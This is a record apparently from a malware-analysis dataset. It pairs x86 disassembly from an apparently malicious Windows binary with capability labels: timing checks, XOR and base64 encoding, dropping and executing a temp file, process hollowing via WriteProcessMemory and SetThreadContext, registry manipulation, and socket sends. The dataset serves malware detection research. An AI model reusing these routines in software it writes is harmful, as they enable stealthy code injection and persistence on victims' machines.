joyce8/EMBER2024-capa huggingface dataset:
Function at 0x88cee
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword [0x93380], ebx
je 0x88dae
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x93388]
cmp eax, 0xea60
jb 0x88dae
push esi
push edi
mov edi, dword [0x93380]
movsx eax, byte [edi]
mov esi, dword [edi + 1]
add edi, 5
mov dword [ebp - 8], eax
test eax, eax
jle 0x88da1
mov dword [ebp - 4], edi
mov eax, dword [ebp - 4]
mov cl, byte [eax]
cmp cl, 8
jne 0x88d4d
mov eax, esi
sar eax, cl
and eax, 1
push eax
call fcn.0008a677
jmp 0x88d5f
cmp cl, 9
jne 0x88d6c
mov eax, esi
sar eax, cl
and eax, 1
push eax
call fcn.0008a688
pop ecx
test eax, eax
je 0x88d7f
mov eax, dword [ebp - 4]
or esi, dword [eax + 1]
jmp 0x88d7f
movsx ecx, cl
mov eax, dword [ecx*4 + 0x93300]
test eax, eax
je 0x88d7f
cmp ecx, dword [eax + 0x34]
je 0x88d8b
add dword [ebp - 4], 5
inc ebx
cmp ebx, dword [ebp - 8]
jl 0x88d34
jmp 0x88da1
mov eax, dword [eax + 0x50]
test eax, eax
je 0x88da1
imul ebx, ebx, 5
mov cl, byte [ebx + edi]
sar esi, cl
and esi, 1
push esi
call eax
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
pop edi
mov dword [0x93388], eax
pop esi
pop ebx
leave
ret

Function at 0x88f53
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
push edi
lea edi, [esi + eax]
mov dl, 0xc6
cmp esi, edi
jae 0x88f84
push ebx
mov al, byte [esi]
movzx ecx, al
mov ebx, ecx
shr ebx, 3
shl cl, 5
or bl, cl
xor bl, dl
xor al, 0xc6
mov byte [esi], bl
inc esi
mov dl, al
cmp esi, edi
jb 0x88f67
pop ebx
pop edi
pop esi
ret

Function at 0x89064
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push esi
push edi
lea eax, [ebp - 0x404]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x404]
push eax
call fcn.00088274
pop ecx
call fcn.0008eca5
push 9
pop esi
xor edx, edx
mov ecx, esi
div ecx
push edx
call fcn.0008eca5
xor edx, edx
mov ecx, esi
div ecx
push edx
call fcn.0008eca5
xor edx, edx
mov ecx, esi
div ecx
push edx
call fcn.0008eca5
xor edx, edx
div esi
lea eax, [ebp - 0x404]
mov esi, 0x922f8
push edx
push eax
push 0xc8
push 0xe4
push 0xf
push 0x90794
push esi
call fcn.00082544
add esp, 0x14
push eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
xor edi, edi
push edi
push esi
call fcn.0008ee2a
add esp, 0x28
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, edi
jbe 0x8913f
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
jmp 0x89141
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x89145
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
push esi
push edi
push 0x104
lea eax, [ebp - 0x104]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x104]
push eax
push eax
call dword [sym.imp.USER32.dll_CharToOemA]
lea eax, [ebp - 0x104]
push eax
push eax
push 0xc8
push 0xe4
push 0x66
push 0x907a8
mov esi, 0x922f8
push esi
call fcn.00082544
add esp, 0x14
push eax
lea eax, [ebp - 0x504]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
push edi
push esi
call fcn.0008ee2a
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x504]
push eax
call fcn.00089064
add esp, 0x24
test eax, eax
je 0x891e7
push edi
push edi
push edi
lea eax, [ebp - 0x104]
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
leave
ret

Function at 0x891eb
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and dword [ebp - 8], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
cmp byte [edi], 0
mov dword [ebp - 4], 0x10
je 0x89308
push 0xd
push edi
call fcn.0008ed03
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
jne 0x8923f
push 0xa
push edi
call fcn.0008ed03
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
jne 0x8923f
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x89233
sub eax, edx
lea ebx, [eax + edi]
mov esi, ebx
sub esi, edi
cmp esi, 0x200
jb 0x89250
mov esi, 0x1ff
push esi
lea eax, [ebp - 0x208]
push edi
push eax
call fcn.0008ee08
add esp, 0xc
mov byte [ebp + esi - 0x208], 0
cmp byte [ebp - 0x208], 0
je 0x892dd
cmp byte [ebp - 0x208], 0x20
lea eax, [ebp - 0x208]
jne 0x8929b
inc eax
cmp byte [eax], 0x20
je 0x89281
jmp 0x8929b
cmp cl, 0x22
je 0x8929a
inc eax
mov cl, byte [eax]
test cl, cl
jne 0x89289
cmp cl, 0x22
jne 0x892a8
inc eax
cmp byte [eax], 0x22
je 0x8928e
jmp 0x892a8
cmp byte [eax], 0x20
je 0x892b2
inc eax
cmp byte [eax], 0
jne 0x892a2
cmp byte [eax], 0x20
jne 0x892bd
mov byte [eax], 0
inc eax
cmp byte [eax], 0x20
je 0x892b5
jmp 0x892bf
xor eax, eax
xor ecx, ecx
push ecx
push ecx
push eax
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 8], eax
cmp eax, 0x2a
jne 0x89310
mov al, byte [ebx]
cmp al, 0xd
je 0x892e7
cmp al, 0xa
jne 0x892ea
inc ebx
jmp 0x892dd
cmp byte [ebx], 0
mov edi, ebx
je 0x892fc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp - 4]
cmp byte [ebx], 0
jne 0x8920e
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
mov ecx, dword [ebp - 4]
or ecx, 0x55020100
mov dword [0x92180], ecx
mov dword [0x9217c], eax
jmp 0x8930b
Function at 0x896ff
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x103
push 0
mov ebx, 0xc8
push ebx
lea edi, [ebx + 0x1c]
push edi
push 0x2e
push 0x906ac
mov esi, 0x922f8
push esi
call fcn.00082544
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x89765
push ebx
push edi
push 9
push 0x906a0
push esi
call fcn.00082544
add esp, 0x14
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push 0
push esi
call fcn.0008ee2a
add esp, 0xc
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x8977c
Capabilities:
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.0008ee2a
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push 4
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x5c], 0x44
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x897c2
xor eax, eax
jmp 0x89864
push 0x2cc
lea eax, [ebp - 0x328]
push esi
push eax
call fcn.0008ee2a
add esp, 0xc
lea eax, [ebp - 0x328]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x328], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x89801
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x897bb
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
push entry0
call fcn.0008637c
add esp, 0x10
push esi
test eax, eax
je 0x897f6
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x284]
add eax, 8
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x897f5
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x278], eax
lea eax, [ebp - 0x328]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x897f5
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x8a4c7
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebp
push esi
push edi
call ebx
mov esi, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebp, eax
add esi, 0x5c
jmp 0x8a4f7
call ebx
sub eax, ebp
cmp eax, 0x1388
jae 0x8a500
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
call edi
test eax, eax
jne 0x8a4e4
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x8a51d
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.0008a4c7
cmp dword [esi + 0x50], 0
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
pop ecx
jne 0x8a542
mov dword [ebp + 8], 0x1f4
jmp 0x8a55d
call edi
sub eax, dword [esi + 0x50]
cmp eax, 1
jge 0x8a54f
xor eax, eax
inc eax
mov ecx, 0x1f4
cmp eax, ecx
jle 0x8a55a
mov eax, ecx
mov dword [ebp + 8], eax
call edi
mov ecx, dword [esi + 0x38]
mov dword [esi + 0x50], eax
mov eax, dword [ebp + 0xc]
test ecx, ecx
jne 0x8a574
mov dword [esi + 0x38], eax
jmp 0x8a61d
sub eax, ecx
imul eax, dword [ebp + 8]
cdq
mov edi, 0x3e8
idiv edi
push 0xa
pop edi
cdq
idiv edi
test eax, eax
je 0x8a590
add ecx, eax
jmp 0x8a59b
cmp dword [ebp + 0xc], ecx
je 0x8a59e
jge 0x8a59a
dec ecx
jmp 0x8a59b
inc ecx
mov dword [esi + 0x38], ecx
cmp dword [esi + 0x3c], 3
jle 0x8a61d
mov eax, dword [esi + 0x18]
mov ecx, eax
sub ecx, dword [esi + 0x38]
mov edi, ecx
jns 0x8a5b2
xor edi, edi
push ebx
push 0xa
cdq
pop ebx
idiv ebx
cmp edi, eax
jle 0x8a61c
imul ecx, ecx, 0xa
mov eax, ecx
mov dword [ebp - 4], eax
imul eax, dword [ebp + 8]
cdq
mov ebx, 0x3e8
idiv ebx
mov ecx, dword [esi + 0x14]
mov edi, dword [esi + 0x10]
imul ecx, ecx, 0x2710
imul edi, edi, 0x2710
push ecx
push edi
cdq
idiv dword [esi + 0x28]
add eax, dword [esi + 0x1c]
push eax
call fcn.0008a505
mov ebx, eax
mov eax, dword [ebp - 4]
cdq
idiv dword [esi + 0x24]
push ecx
push edi
mov dword [esi + 0x1c], ebx
add eax, ebx
push eax
call fcn.0008a505
add esp, 0x18
cdq
push 0xa
pop ecx
idiv ecx
mov ecx, 0x3e8
cdq
idiv ecx
mov dword [esi + 0x34], eax
pop ebx
inc dword [esi + 0x3c]
and dword [esi + 0x5c], 0
pop edi
pop esi
leave
ret
Function at 0x8a6ca
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
push ebx
xor ebx, ebx
xor edx, edx
mov dword [ebp + 0x10], ecx
cmp dword [ebp + 0xc], ebx
jle 0x8a794
mov al, byte [ebp + 0xf]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, edx
sub edi, 0
je 0x8a731
dec edi
je 0x8a718
dec edi
jne 0x8a73f
movzx edi, byte [esi]
movzx eax, al
shl eax, 2
shr edi, 6
or edi, eax
and edi, 0x3f
mov al, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
movzx eax, byte [esi]
inc ecx
and eax, 0x3f
jmp 0x8a737
movzx edi, byte [esi]
movzx eax, al
shl eax, 4
shr edi, 4
or edi, eax
and edi, 0x3f
mov al, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
jmp 0x8a73d
movzx eax, byte [esi]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
lea eax, [edx + 1]
cdq
push 3
pop edi
idiv edi
mov al, byte [esi]
inc ecx
inc esi
inc ebx
cmp ebx, dword [ebp + 0xc]
jl 0x8a6e9
pop edi
pop esi
test edx, edx
jle 0x8a794
movzx eax, al
cmp edx, 1
jne 0x8a76e
and eax, 3
shl eax, 4
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
jmp 0x8a778
and eax, 0xf
mov al, byte [eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
inc ecx
sub edx, 0
je 0x8a788
dec edx
je 0x8a78c
dec edx
je 0x8a790
jmp 0x8a794
mov byte [ecx], 0x3d
inc ecx
mov byte [ecx], 0x3d
inc ecx
mov byte [ecx], 0x3d
inc ecx
lea eax, [ecx + 1]
sub eax, dword [ebp + 0x10]
mov word [ecx], 0xa0d
inc eax
pop ebx
pop ebp
ret
Function at 0x8c65c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
test byte [0x93690], 1
push ebx
push esi
push edi
mov esi, 0x100000
jne 0x8c683
or dword [0x93690], 1
push esi
call fcn.0008ebcc
pop ecx
mov dword [0x9368c], eax
test byte [0x93690], 2
jne 0x8c69f
or dword [0x93690], 2
push esi
call fcn.0008ebcc
pop ecx
mov dword [0x93688], eax
push 0x19
push dword [ebp + 0x1c]
push dword [0x93688]
call fcn.0008ee08
mov eax, dword [0x93688]
mov ebx, dword [ebp + 0x18]
add esp, 0xc
lea edi, [eax + 0xc]
mov esi, eax
mov byte [edi], 0
cmp ebx, 0x800
jle 0x8c6fb
mov ecx, dword [ebp + 0xc]
test byte [ecx + 0x8c], 1
je 0x8c6fb
push dword [0x9368c]
add eax, 0x19
push ebx
push eax
push dword [ebp + 0x14]
mov byte [edi], 2
call fcn.000822b9
add esp, 0x10
test eax, eax
jg 0x8c6f7
xor eax, eax
jmp 0x8c758
mov dword [esi], eax
jmp 0x8c70d
push ebx
push dword [ebp + 0x14]
add eax, 0x19
push eax
call fcn.0008ee08
add esp, 0xc
mov dword [esi], ebx
mov eax, dword [0x93688]
push 0
push dword [esi]
add eax, 0x19
push eax
mov dword [esi + 4], ebx
call fcn.000824c2
or byte [edi], 1
mov dword [esi + 8], eax
mov esi, dword [esi]
add esi, 0x19
push esi
push dword [0x93688]
push dword [ebp + 0x10]
call fcn.00089004
add esp, 0x18
push 0
push esi
push dword [0x93688]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
sub eax, esi
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x8db67
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0x104
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x8dbca
lea ecx, [ebp + eax - 0x104]
cmp byte [ecx - 1], 0x5c
jne 0x8dba0
lea ecx, [ebp + eax - 0x105]
mov byte [ecx], 0
push dword [ebp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0x80
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push 0
push 1
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
leave
ret
or eax, 0xffffffff
leave
ret

Function at 0x8dd05
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebp
push esi
push edi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebp, eax
mov edi, 0x936b4
jmp 0x8dd41
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [0x936b8]
je 0x8dd53
call ebx
sub eax, ebp
cmp eax, 0x2710
jae 0x8dd4c
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push edi
call esi
test eax, eax
jne 0x8dd20
jmp 0x8dd53
and dword [0x936bc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
inc dword [0x936bc]
pop edi
pop esi
pop ebp
mov dword [0x936b8], eax
pop ebx
ret

Function at 0x8e095
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
xor esi, esi
push esi
lea eax, [ebp - 0xc]
push eax
push esi
push 0x20106
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x8e172
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x8e0cc
push ebx
sub eax, ecx
push edi
mov edi, eax
mov dword [ebp - 4], esi
cmp edi, 0x1c
jle 0x8e0e4
push 0x1c
pop edi
push edi
push dword [ebp + 0x10]
lea eax, [ebp - 0x2c]
push eax
call fcn.0008ee08
mov ebx, dword [ebp + 0x18]
add esp, 0xc
cmp ebx, esi
jle 0x8e13f
mov esi, 0xff000
cmp ebx, esi
jge 0x8e106
mov esi, ebx
push 0xa
lea eax, [ebp + edi - 0x2c]
push eax
push dword [ebp - 4]
call fcn.0008f1ed
add esp, 0xc
push esi
push dword [ebp - 8]
lea eax, [ebp - 0x2c]
push 3
push 0
push eax
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x8e13d
add dword [ebp - 8], esi
sub ebx, esi
inc dword [ebp - 4]
test ebx, ebx
jg 0x8e0fb
xor esi, esi
push 0xa
lea eax, [ebp + edi - 0x2c]
push eax
push dword [ebp - 4]
call fcn.0008f1ed
add esp, 0xc
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp ebx, esi
pop edi
sete al
pop ebx
jmp 0x8e174
xor eax, eax
pop esi
leave
ret
Function at 0x8e177
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
jne 0x8e193
xor eax, eax
inc eax
cmp dword [0x920ec], eax
jne 0x8e315
cmp dword [0x936c0], ebx
je 0x8e312
test byte [ebp + 8], 1
push esi
push edi
mov edi, 0xc8
lea esi, [edi + 0x1c]
je 0x8e223
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 1
call fcn.0008dfe2
add esp, 0xc
test eax, eax
je 0x8e223
cmp dword [ebp + 0xc], ebx
je 0x8e223
push 2
push 0x40000000
call fcn.0008dbcf
pop ecx
pop ecx
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x8e223
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x8e21a
cmp dword [ebp + 0xc], 0
je 0x8e21a
push edi
push esi
push dword [ebp + 0xc]
push ebx
push ebx
call fcn.00082544
add esp, 0x14
push 0
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x8e21a
and dword [0x936c0], 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test byte [ebp + 8], 2
je 0x8e310
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 2
call fcn.0008dfe2
add esp, 0xc
test eax, eax
je 0x8e310
cmp dword [ebp + 0xc], 0
je 0x8e310
push edi
push esi
push dword [ebp + 0xc]
push dword [ebp - 4]
push dword [ebp - 4]
call fcn.00082544
add esp, 0x14
push dword [ebp + 0xc]
push dword [ebp - 4]
push edi
push esi
push 7
push 0x910d0
push 0x928f8
call fcn.00082544
add esp, 0x14
push eax
push edi
push esi
push 0x14
push 0x910bc
mov ebx, 0x922f8
push ebx
call fcn.00082544
add esp, 0x14
push eax
push 0x80000001
call fcn.0008e095
add esp, 0x14
test eax, eax
jne 0x8e2eb
push dword [ebp + 0xc]
push dword [ebp - 4]
push edi
push esi
push 7
push 0x910d0
push 0x928f8
call fcn.00082544
add esp, 0x14
push eax
push edi
push esi
push 0x19
push 0x910a0
push ebx
call fcn.00082544
add esp, 0x14
push eax
push 0x80000001
call fcn.0008e095
add esp, 0x14
test eax, eax
je 0x8e2f2
and dword [0x936c0], 0
mov esi, 0x100
push esi
push 0
push ebx
call fcn.0008ee2a
push esi
push 0
push 0x928f8
call fcn.0008ee2a
add esp, 0x18
pop edi
pop esi
xor eax, eax
inc eax
pop ebx
leave
ret
Function at 0x8e3ca
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
lea eax, [ebp - 0xc]
push eax
push 0x20119
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 0x20], ebx
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x8e528
mov eax, dword [ebp + 0x10]
push esi
push edi
xor esi, esi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x8e3fe
sub eax, edi
mov edi, eax
mov dword [ebp - 4], ebx
cmp edi, 0x1c
jle 0x8e414
push 0x1c
pop edi
push edi
push dword [ebp + 0x10]
lea eax, [ebp - 0x40]
push eax
call fcn.0008ee08
lea eax, [ebp + edi - 0x40]
push 0xa
push eax
push ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], eax
call fcn.0008f1ed
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 0x18
lea eax, [ebp - 8]
push eax
push ebx
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0xc]
call edi
test eax, eax
jne 0x8e51d
add esi, dword [ebp - 8]
inc dword [ebp - 4]
push 0xa
push dword [ebp - 0x10]
mov dword [ebp - 8], ebx
push dword [ebp - 4]
call fcn.0008f1ed
add esp, 0xc
lea eax, [ebp - 8]
push eax
push ebx
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0xc]
call edi
test eax, eax
je 0x8e458
cmp esi, ebx
jle 0x8e51d
push esi
mov dword [ebp - 0x1c], esi
call fcn.0008db2e
mov eax, dword [0x936c4]
pop ecx
cmp eax, ebx
je 0x8e51d
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
push 0xa
push dword [ebp - 0x10]
mov dword [ebp - 0x18], esi
push dword [ebp - 4]
call fcn.0008f1ed
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0xc]
call edi
test eax, eax
jne 0x8e4e8
mov eax, dword [ebp - 0x18]
cmp eax, ebx
je 0x8e4e8
add dword [ebp - 8], eax
sub esi, eax
inc dword [ebp - 4]
cmp esi, ebx
jg 0x8e4a9
cmp esi, ebx
jne 0x8e51d
mov eax, dword [0x936c4]
push 0xc8
push 0xe4
push dword [ebp - 0x1c]
push eax
push eax
call fcn.00082544
push dword [ebp - 0x1c]
push dword [0x936c4]
call fcn.0008e332
add esp, 0x1c
mov dword [ebp - 0x20], 1
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, dword [ebp - 0x20]
pop ebx
leave
ret
Function at 0x8e52e
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
call fcn.0008dd05
push 3
push 0x80000000
call fcn.0008dbcf
mov ebx, eax
pop ecx
mov edi, 0xc8
pop ecx
lea esi, [edi + 0x1c]
cmp ebx, 0xffffffff
je 0x8e5b8
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x10], eax
test eax, eax
je 0x8e5b1
push eax
call fcn.0008db2e
mov eax, dword [0x936c4]
pop ecx
test eax, eax
je 0x8e5b1
push 0
lea ecx, [esp + 0x14]
push ecx
push dword [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x8e5b1
mov eax, dword [0x936c4]
push edi
push esi
push dword [esp + 0x18]
push eax
push eax
call fcn.00082544
push dword [esp + 0x24]
push dword [0x936c4]
call fcn.0008e332
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push esi
push 7
push 0x910d0
mov ebp, 0x928f8
push ebp
call fcn.00082544
add esp, 0x14
push eax
push edi
push esi
push 0x14
push 0x910bc
mov ebx, 0x922f8
push ebx
call fcn.00082544
add esp, 0x14
push eax
push 0x80000001
call fcn.0008e3ca
add esp, 0xc
test eax, eax
jne 0x8e62c
push edi
push esi
push 7
push 0x910d0
push ebp
call fcn.00082544
add esp, 0x14
push eax
push edi
push esi
push 0x19
push 0x910a0
push ebx
call fcn.00082544
add esp, 0x14
push eax
push 0x80000001
call fcn.0008e3ca
add esp, 0xc
mov esi, 0x100
push esi
push 0
push ebx
call fcn.0008ee2a
push esi
push 0
push ebp
call fcn.0008ee2a
add esp, 0x18
call fcn.0008dd69
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
pop ecx
ret